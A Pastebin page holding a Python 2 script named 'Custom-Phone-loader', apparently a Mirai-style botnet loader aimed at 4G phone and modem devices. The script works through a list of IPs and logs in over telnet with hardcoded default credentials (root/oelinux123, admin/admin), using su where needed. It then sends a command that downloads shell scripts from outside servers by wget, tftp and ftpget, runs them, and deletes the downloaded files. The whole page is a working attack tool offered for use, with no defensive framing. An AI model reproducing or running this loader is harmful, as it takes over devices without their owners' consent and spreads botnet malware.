Advertisement
miraip0ts

Custom-Phone-loader

Apr 30th, 2017
1,300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.64 KB | None | 0 0
  1. # Ya Phone Got Dropped ?
  2. #!/usr/bin/python
  3.  
  4. import threading, sys, time, random, socket, re, os
  5.  
  6. if len(sys.argv) < 2:
  7.         print "Usage: python "+sys.argv[0]+" <list>"
  8.         sys.exit()
  9.  
  10. ips = open(sys.argv[1], "r").readlines()
  11. usernames = ["root", "admin", "root", "root"]
  12. passwords = ["oelinux123", "admin", "Zte521", "vizxv"]
  13. cmd = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/SSF.sh; chmod 777 bins.sh; sh SSF.sh; tftp 1.1.1.1 -c get tftp11.sh; chmod 777 tftp11.sh; sh tftp1.sh; tftp -r tftp22.sh -g 1.1.1.1; chmod 777 tftp22.sh; sh tftp22.sh; ftpget -v -u anonymous -p anonymous -P 21 104.131.21.101 ftp11.sh ftp11.sh; sh ftp11.sh; rm -rf SSF.sh tftp11.sh tftp22.sh ftp11.sh; rm -rf *"
  14. count = 0
  15. def readUntil(tn, string, timeout=15):
  16.     buf = ''
  17.     start_time = time.time()
  18.     while time.time() - start_time < timeout:
  19.         buf += tn.recv(1024)
  20.         time.sleep(0.01)
  21.         if string in buf: return buf
  22.     raise Exception('ATTEMPTING')
  23.  
  24. class hackify(threading.Thread):
  25.         def __init__ (self, ip):
  26.         threading.Thread.__init__(self)
  27.         self.ip = str(ip).rstrip('\n')
  28.         def run(self):
  29.         try:
  30.             tn = socket.socket()
  31.             tn.settimeout(8)
  32.             tn.connect((self.ip,23))
  33.         except Exception:
  34.             tn.close()
  35.         try:
  36.             hoho = ''
  37.             hoho += readUntil(tn, ":")
  38.             if "mdm9625" in hoho: #non-root
  39.                 r00t = 0
  40.                 username = usernames[1]
  41.                 password = passwords[1]
  42.                 tn.send(username + "\n")
  43.                 #print "[%s] sending non-root user"%(self.ip)
  44.             elif "9615-cdp" in hoho: #root
  45.                 r00t = 1
  46.                 username = usernames[0]
  47.                 password = passwords[0]
  48.                 tn.send(username + "\n")
  49.                 #print "[%s] sending root user"%(self.ip)
  50.         except Exception:
  51.             tn.close()
  52.         try:
  53.             hoho = ''
  54.             hoho += readUntil(tn, "Password:")
  55.             if "assword" in hoho:
  56.                 tn.send(password + "\n")
  57.                 #if r00t: print "[%s] sending root password"%(self.ip)
  58.                 #if not r00t: print "[%s] sending non-root password"%(self.ip)
  59.                 time.sleep(3)
  60.         except Exception:
  61.             tn.close()
  62.         try:
  63.             mp = ''
  64.             mp += tn.recv(1024)
  65.             if "#" in mp or "$" in mp:
  66.                 if r00t: tn.send(cmd + "\n"); print "Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
  67.                 if not r00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send(cmd + "\n"); print "Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
  68.         except Exception:
  69.             print "[%s] ATTEMPTING 4G PHONE"%(count)
  70.             tn.close()
  71.  
  72. print "Total IPs: %s\n"%(len(ips))
  73. for ip in ips:
  74.         try:
  75.         count += 1
  76.         t = hackify(ip)
  77.         t.start()
  78.         time.sleep(0.01)
  79.         except:
  80.             pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement